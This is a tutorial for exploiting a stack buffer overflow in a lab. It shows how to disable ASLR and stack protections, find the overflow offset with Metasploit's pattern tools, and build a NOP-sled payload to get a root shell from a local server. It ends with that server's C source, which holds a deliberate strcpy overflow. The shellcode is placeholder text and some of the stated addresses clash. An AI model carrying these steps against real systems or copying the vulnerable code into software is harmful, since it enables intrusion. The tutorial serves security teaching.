This is essentially the tutorial created by David Hoelzer that you can download here. It’s a fairly decent introductory tutorial showing you how to diagnose and then create an exploit for a standard Buffer Overflow (BOF) vulnerability.

That said, it’s a fairly old guide, and some time ago I did this ‘update’ to it, walking you through the code and also showing you how to ‘undo’ the things that modern linux kernels/SELinux do to prevent these actions. You have to work really hard to undo the good work of devs over the last few years, but here we go…

First, we have to turn on coredumping!

ulimit -a # to check
ulimit -c 50000

And you may also need to do this to turn off ASLR (Address Space Layout Randomisation):

echo 0 > /proc/sys/kernel/randomize_va_space

…or for red hat users:

echo 0 > /proc/sys/kernel/exec-shield

Now we are free to compile our example. Formerly we would do this:

gcc server.c
cp a.out server
rm a.out
chmod +x server
./server 7777

But now we need to recompile like this:

gcc -fno-stack-protector server.c

or even using:

gcc --no-stack-protector -z execstack -o server server.c

Now we need to allow executable stacks:

execstack -s /path/to/myprog

Ok, so not open a telnet/netcat session to the server port in a new terminal window:

telnet 127.0.0.1 7777

Now, type something, see what it does, and then we can start messing with it! :P Let’s send a thousand ‘A’s…

perl -e "print 'A'x1000" | nc 127.0.0.1 7777

#now inspect the core file gdb –core core info registers

#now use pattern_create cd /usr/share/metasploit-framework/tools/ echo $(./pattern_create.rb 2000) > /root/exploit-tut/meta-pattern

now use gdb --core=core, then ask info reg, to get the offset memory (just about command prompt) x/64x {some address} is the command to use. now plug this into pattern_offset.rb:

./pattern_offset.rb 0xDEADBEEF 2000

…and now we know how big the buffer is - should be 132 or thereabouts. Find the starting pointer - on this run, we did the 10000 ‘A’s, and got 0xbfe0dbe8 from the coredump.

Now can compile the shellcode with gcc -c shellcode.s and then dump the object to get the hex codes using objdump -d shellcode.o

Now we can craft the shellcode exploit - we load a nop-sled \x90, enough to pad out the input, then the shellcode, and finally the address form before. Wham bam, exploit done.

First, generate a raw file: perl -e 'print "\xBY\xTE\xCO\xDE\xHE\xRE";' > shellcode_raw

and then calculate the size of the shellcode_raw (it’s 28 bytes) ls -l shellcode_raw

Now get yourself a nop-sled (we’ll just put it in a file, so it’ll be easier later: perl -e 'print "\x90"x104;' > nopsled

And lastly, load that address into a raw file… NB reverse byte order! perl -e 'print "\xef\xbe\xad\xde";' > address Remember, for me this was 0xbffc63f8 perl -e 'print "\x48\xea\xff\xbf";' > address

Putting it all together:

cat nopsled shellcode_raw address > exploit
ls -l exploit

Notice it’s 136 bytes (for my setup), and it should be 4 bytes longer than you need to be able to overwrite the return address. Now launch the exploit…

cat exploit | nc 127.0.0.1 7777

A root shell should be loaded on the screen. Job done.

And, finally, here’s the example server from the original author’s site (original is here ):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define PORT "7777" // the port users will be connecting to

#define BACKLOG 10	// how many pending connections queue will hold

void vulnerable(char *net_buffer)
{
char local_buffer[120];
strcpy(local_buffer, net_buffer);
return;
}

void sigchld_handler(int s)
{
while(waitpid(-1, NULL, WNOHANG) > 0);
}

// get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
if (sa->sa_family == AF_INET) {
return &(((struct sockaddr_in*)sa)->sin_addr);
}

return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main(void)
{
int sockfd, new_fd; // listen on sock_fd, new connection on new_fd
struct addrinfo hints, *servinfo, *p;
struct sockaddr_storage their_addr; // connector's address information
socklen_t sin_size;
struct sigaction sa;
int yes=1;
char in_buffer[20], out_buffer[20], net_buffer[2048];
char s[INET6_ADDRSTRLEN];
int rv;

memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE; // use my IP

if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
return 1;
}

// loop through all the results and bind to the first we can
for(p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype,
p->ai_protocol)) == -1) {
perror("server: socket");
continue;
}

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,
sizeof(int)) == -1) {
perror("setsockopt");
exit(1);
}

if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
perror("server: bind");
continue;
}

break;
}

if (p == NULL) {
fprintf(stderr, "server: failed to bind\n");
return 2;
}

freeaddrinfo(servinfo); // all done with this structure

if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}

sa.sa_handler = sigchld_handler; // reap all dead processes
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
if (sigaction(SIGCHLD, &sa, NULL) == -1) {
perror("sigaction");
exit(1);
}

printf("server: waiting for connections...\n");

while(1) { // main accept() loop
sin_size = sizeof their_addr;
new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);
if (new_fd == -1) {
perror("accept");
continue;
}

inet_ntop(their_addr.ss_family,
get_in_addr((struct sockaddr *)&their_addr),
s, sizeof s);
printf("server: got connection from %s\n", s);

if (!fork()) { // this is the child process
close(sockfd); // child doesn't need the listener
memset(net_buffer, 0, 1024);
strcpy(out_buffer, "HELO\nCOMMAND:");
if (send(new_fd, out_buffer, strlen(out_buffer), 0) == -1)
perror("send");
if (recv(new_fd, net_buffer, 1024, 0))
{
vulnerable(net_buffer);
strcpy(out_buffer, "RECV: ");
strcat(out_buffer, net_buffer);
send(new_fd, out_buffer, strlen(out_buffer), 0);
}
close(new_fd);
exit(0);
}
close(new_fd); // parent doesn't need this
}

return 0;
}